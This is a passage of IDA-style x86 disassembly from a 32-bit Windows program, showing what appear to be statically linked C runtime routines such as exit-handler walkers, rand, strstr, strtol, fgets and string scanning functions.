		add	esp, 0Ch
		retn
sub_41C1A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1B3	proc near		; CODE XREF: ___:0041C199p
					; sub_41C1A2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DBE24, edi
		jnz	short loc_41C1D0
		push	[esp+4+arg_0]
		nop
		call	near ptr 27507EAh
		push	eax
		nop
		call	near ptr 2750275h


loc_41C1D0:				; CODE XREF: sub_41C1B3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DBE20, edi
		mov	byte_4DBE1C, bl
		jnz	short loc_41C224
		mov	eax, dword_4DD39C
		test	eax, eax
		jz	short loc_41C213
		mov	ecx, dword_4DD398
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41C212


loc_41C1FF:				; CODE XREF: sub_41C1B3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C207
		call	eax


loc_41C207:				; CODE XREF: sub_41C1B3+50j
		sub	esi, 4
		cmp	esi, dword_4DD39C
		jnb	short loc_41C1FF


loc_41C212:				; CODE XREF: sub_41C1B3+4Aj
		pop	esi


loc_41C213:				; CODE XREF: sub_41C1B3+3Cj
		push	offset dword_429034
		push	offset dword_42902C
		call	sub_41C24C
		pop	ecx
		pop	ecx


loc_41C224:				; CODE XREF: sub_41C1B3+33j
		push	offset dword_429040
		push	offset dword_429038
		call	sub_41C24C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41C24A
		push	[esp+4+arg_0]
		mov	dword_4DBE24, edi
		call	near ptr 77E75CB5h
		nop


loc_41C24A:				; CODE XREF: sub_41C1B3+85j
		pop	edi
		retn
sub_41C1B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C24C	proc near		; CODE XREF: ___:0041C179p
					; ___:0041C188p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41C251:				; CODE XREF: sub_41C24C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C264
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C25F
		call	eax


loc_41C25F:				; CODE XREF: sub_41C24C+Fj
		add	esi, 4
		jmp	short loc_41C251
; ---------------------------------------------------------------------------


loc_41C264:				; CODE XREF: sub_41C24C+9j
		pop	esi
		retn
sub_41C24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C266	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C2A6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C2B3
; ---------------------------------------------------------------------------


loc_41C2A6:				; CODE XREF: sub_41C266+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C2B3:				; CODE XREF: sub_41C266+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C266	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2B8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+315Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43AE00, eax
		retn
sub_41C2B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2C2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43AE00
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43AE00, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C2C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2E0	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C35A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C347


loc_41C2F8:				; CODE XREF: sub_41C2E0+52j
					; sub_41C2E0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jz	short loc_41C314


loc_41C309:				; CODE XREF: sub_41C2E0+32j
		mov	al, [esi]
		inc	esi


loc_41C30C:				; CODE XREF: sub_41C2E0+3Fj
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jnz	short loc_41C309


loc_41C314:				; CODE XREF: sub_41C2E0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C31A:				; CODE XREF: sub_41C2E0+23j
					; sub_41C2E0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C30C
		lea	edi, [esi-1]


loc_41C324:				; CODE XREF: sub_41C2E0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C353
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C2F8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C353
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C324
		jmp	short loc_41C2F8
; ---------------------------------------------------------------------------


loc_41C347:				; CODE XREF: sub_41C2E0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C996
; ---------------------------------------------------------------------------


loc_41C353:				; CODE XREF: sub_41C2E0+49j
					; sub_41C2E0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C35A:				; CODE XREF: sub_41C2E0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C360	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C15p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C39F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C3AC
; ---------------------------------------------------------------------------


loc_41C39F:				; CODE XREF: sub_41C360+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C3AC:				; CODE XREF: sub_41C360+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3B1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+2177p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B9C0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C3EC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C3EC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C3E8
		push	2
		push	ebx
		push	esi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C3E8:				; CODE XREF: sub_41C3B1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C3F6
; ---------------------------------------------------------------------------


loc_41C3EC:				; CODE XREF: sub_41C3B1+18j
					; sub_41C3B1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C3F6
		and	byte ptr [eax],	0


loc_41C3F6:				; CODE XREF: sub_41C3B1+39j
					; sub_41C3B1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C46E


loc_41C409:				; CODE XREF: sub_41C3B1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DD261[edx], 4
		jz	short loc_41C41A
		inc	eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C41A:				; CODE XREF: sub_41C3B1+64j
		cmp	cl, 2Fh
		jz	short loc_41C42E
		cmp	cl, 5Ch
		jz	short loc_41C42E
		cmp	cl, 2Eh
		jnz	short loc_41C434
		mov	[ebp+var_4], eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C42E:				; CODE XREF: sub_41C3B1+6Cj
					; sub_41C3B1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C434:				; CODE XREF: sub_41C3B1+67j
					; sub_41C3B1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C409
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C46E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C469
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C452
		mov	edi, esi


loc_41C452:				; CODE XREF: sub_41C3B1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420B29
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C469:				; CODE XREF: sub_41C3B1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C478
; ---------------------------------------------------------------------------


loc_41C46E:				; CODE XREF: sub_41C3B1+56j
					; sub_41C3B1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C478
		and	byte ptr [ecx],	0


loc_41C478:				; CODE XREF: sub_41C3B1+BBj
					; sub_41C3B1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C4CB
		cmp	edi, ebx
		jb	short loc_41C4CB
		cmp	[ebp+arg_C], 0
		jz	short loc_41C4A8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C491
		mov	edi, esi


loc_41C491:				; CODE XREF: sub_41C3B1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420B29
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C4A8:				; CODE XREF: sub_41C3B1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C4F3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C4B8
		mov	esi, eax


loc_41C4B8:				; CODE XREF: sub_41C3B1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C4F3
; ---------------------------------------------------------------------------


loc_41C4CB:				; CODE XREF: sub_41C3B1+CCj
					; sub_41C3B1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C4E9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C4DA
		mov	esi, eax


loc_41C4DA:				; CODE XREF: sub_41C3B1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C4E9:				; CODE XREF: sub_41C3B1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C4F3
		and	byte ptr [eax],	0


loc_41C4F3:				; CODE XREF: sub_41C3B1+FCj
					; sub_41C3B1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C3B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C500	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C520


loc_41C50C:				; CODE XREF: sub_41C500+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C50C


loc_41C520:				; CODE XREF: sub_41C500+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C52F	proc near		; CODE XREF: sub_401ACD+73F5p
					; sub_401ACD+7424p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C543
		xor	eax, eax
		jmp	short loc_41C579
; ---------------------------------------------------------------------------


loc_41C543:				; CODE XREF: sub_41C52F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C573
		mov	esi, [ebp+arg_8]


loc_41C54C:				; CODE XREF: sub_41C52F+42j
		dec	dword ptr [esi+4]
		js	short loc_41C55B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C562
; ---------------------------------------------------------------------------


loc_41C55B:				; CODE XREF: sub_41C52F+20j
		push	esi
		call	sub_41F8E3
		pop	ecx


loc_41C562:				; CODE XREF: sub_41C52F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C57D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C573
		dec	[ebp+arg_4]
		jnz	short loc_41C54C


loc_41C573:				; CODE XREF: sub_41C52F+18j
					; sub_41C52F+3Dj ...
		and	byte ptr [edi],	0


loc_41C576:				; CODE XREF: sub_41C52F+55j
		mov	eax, ebx
		pop	esi


loc_41C579:				; CODE XREF: sub_41C52F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C57D:				; CODE XREF: sub_41C52F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C573
		xor	ebx, ebx
		jmp	short loc_41C576
sub_41C52F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C586	proc near		; CODE XREF: ___:0041E645p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C586	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C59D	proc near		; CODE XREF: sub_41C586+Ep
					; sub_41C7A5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C5B5:				; CODE XREF: sub_41C59D+46j
		cmp	dword_43D084, 1
		jle	short loc_41C5CD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C5DC
; ---------------------------------------------------------------------------


loc_41C5CD:				; CODE XREF: sub_41C59D+1Fj
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C5DC:				; CODE XREF: sub_41C59D+2Ej
		test	eax, eax
		jz	short loc_41C5E5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C5B5
; ---------------------------------------------------------------------------


loc_41C5E5:				; CODE XREF: sub_41C59D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C5F3
		or	[ebp+arg_C], 2
		jmp	short loc_41C5F8
; ---------------------------------------------------------------------------


loc_41C5F3:				; CODE XREF: sub_41C59D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C5FE


loc_41C5F8:				; CODE XREF: sub_41C59D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C5FE:				; CODE XREF: sub_41C59D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C795
		cmp	eax, 1
		jz	loc_41C795
		cmp	eax, 24h
		jg	loc_41C795
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41C646
		cmp	bl, 30h
		jz	short loc_41C630
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C630:				; CODE XREF: sub_41C59D+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C643
		cmp	al, 58h
		jz	short loc_41C643
		mov	[ebp+arg_8], 8
		jmp	short loc_41C662
; ---------------------------------------------------------------------------


loc_41C643:				; CODE XREF: sub_41C59D+97j
					; sub_41C59D+9Bj
		mov	[ebp+arg_8], ecx


loc_41C646:				; CODE XREF: sub_41C59D+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41C662
		cmp	bl, 30h
		jnz	short loc_41C662
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41C65A
		cmp	al, 58h
		jnz	short loc_41C662


loc_41C65A:				; CODE XREF: sub_41C59D+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41C662:				; CODE XREF: sub_41C59D+91j
					; sub_41C59D+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41C672:				; CODE XREF: sub_41C59D+16Cj
		cmp	dword_43D084, 1
		movzx	esi, bl
		jle	short loc_41C68A
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C695
; ---------------------------------------------------------------------------


loc_41C68A:				; CODE XREF: sub_41C59D+DFj
		mov	eax, off_43CE78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C695:				; CODE XREF: sub_41C59D+EBj
		test	eax, eax
		jz	short loc_41C6A1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41C6D3
; ---------------------------------------------------------------------------


loc_41C6A1:				; CODE XREF: sub_41C59D+FAj
		cmp	dword_43D084, 1
		jle	short loc_41C6B5
		push	edi
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C6C0
; ---------------------------------------------------------------------------


loc_41C6B5:				; CODE XREF: sub_41C59D+10Bj
		mov	eax, off_43CE78
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41C6C0:				; CODE XREF: sub_41C59D+116j
		test	eax, eax
		jz	short loc_41C70E
		movsx	eax, bl
		push	eax
		call	sub_420BB3
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41C6D3:				; CODE XREF: sub_41C59D+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41C70E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41C6F8
		jnz	short loc_41C6F2
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41C6F8


loc_41C6F2:				; CODE XREF: sub_41C59D+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41C701
; ---------------------------------------------------------------------------


loc_41C6F8:				; CODE XREF: sub_41C59D+145j
					; sub_41C59D+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41C701:				; CODE XREF: sub_41C59D+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41C672
; ---------------------------------------------------------------------------


loc_41C70E:				; CODE XREF: sub_41C59D+125j
					; sub_41C59D+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41C72C
		test	edx, edx
		jz	short loc_41C726
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41C726:				; CODE XREF: sub_41C59D+181j
		and	[ebp+var_8], 0
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C72C:				; CODE XREF: sub_41C59D+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41C752
		test	cl, 1
		jnz	short loc_41C779
		and	ecx, 2
		jz	short loc_41C749
		cmp	[ebp+var_8], 80000000h
		ja	short loc_41C752


loc_41C749:				; CODE XREF: sub_41C59D+1A1j
		test	ecx, ecx
		jnz	short loc_41C779
		cmp	[ebp+var_8], eax
		jbe	short loc_41C779


loc_41C752:				; CODE XREF: sub_41C59D+197j
					; sub_41C59D+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DBDDC, 22h
		jz	short loc_41C768
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41C779
; ---------------------------------------------------------------------------


loc_41C768:				; CODE XREF: sub_41C59D+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41C779:				; CODE XREF: sub_41C59D+18Dj
					; sub_41C59D+19Cj ...
		test	edx, edx
		jz	short loc_41C782
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41C782:				; CODE XREF: sub_41C59D+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C790
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41C790:				; CODE XREF: sub_41C59D+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41C7A0
; ---------------------------------------------------------------------------


loc_41C795:				; CODE XREF: sub_41C59D+66j
					; sub_41C59D+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C79E
		mov	[eax], edi


loc_41C79E:				; CODE XREF: sub_41C59D+1FDj
		xor	eax, eax


loc_41C7A0:				; CODE XREF: sub_41C59D+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C59D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7A5	proc near		; CODE XREF: sub_401ACD+60F0p
					; sub_401ACD+6931p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C7A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C7BC	proc near		; CODE XREF: sub_401ACD+58ADp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 26A065Fh
		test	eax, eax
		jnz	short loc_41C7D2
		call	near ptr 26A0CA7h
		nop
		jmp	short loc_41C7D4
; ---------------------------------------------------------------------------


loc_41C7D2:				; CODE XREF: sub_41C7BC+Cj
		xor	eax, eax


loc_41C7D4:				; CODE XREF: sub_41C7BC+14j
		test	eax, eax
		jz	short loc_41C7E3
		push	eax
		call	sub_420C7F
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41C7E3:				; CODE XREF: sub_41C7BC+1Aj
		xor	eax, eax
		retn
sub_41C7BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7E6	proc near		; CODE XREF: sub_401ACD+5801p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420CE6
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41FF3F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_420D73
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41C7E6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C820	proc near		; CODE XREF: sub_401ACD+1E1Fp
					; sub_401ACD+1E3Ep ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41C841
		xor	eax, eax
		jmp	short loc_41C843
; ---------------------------------------------------------------------------


loc_41C841:				; CODE XREF: sub_41C820+1Bj
		mov	eax, edi


loc_41C843:				; CODE XREF: sub_41C820+1Fj
		cld
		pop	edi
		leave
		retn
sub_41C820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C850	proc near		; CODE XREF: sub_401ACD+854p
					; ___:0041E5BDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41C881
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41C87F
		jz	short loc_41C881
		dec	ecx
		dec	ecx


loc_41C87F:				; CODE XREF: sub_41C850+29j
		not	ecx


loc_41C881:				; CODE XREF: sub_41C850+9j
					; sub_41C850+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41C850	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C890	proc near		; CODE XREF: sub_401ACD+42Dp
					; sub_401ACD+2FB3p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41C901
sub_41C890	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C8A0	proc near		; CODE XREF: sub_401ACD+436p
					; sub_401ACD+746Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41C8BC


loc_41C8AD:				; CODE XREF: sub_41C8A0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41C8EF
		test	ecx, 3
		jnz	short loc_41C8AD


loc_41C8BC:				; CODE XREF: sub_41C8A0+Bj
					; sub_41C8A0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41C8BC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41C8FE
		test	ah, ah
		jz	short loc_41C8F9
		test	eax, 0FF0000h
		jz	short loc_41C8F4
		test	eax, 0FF000000h
		jz	short loc_41C8EF
		jmp	short loc_41C8BC
; ---------------------------------------------------------------------------


loc_41C8EF:				; CODE XREF: sub_41C8A0+12j
					; sub_41C8A0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F4:				; CODE XREF: sub_41C8A0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8F9:				; CODE XREF: sub_41C8A0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41C901
; ---------------------------------------------------------------------------


loc_41C8FE:				; CODE XREF: sub_41C8A0+39j
		lea	edi, [ecx-4]


loc_41C901:				; CODE XREF: sub_41C890+5j
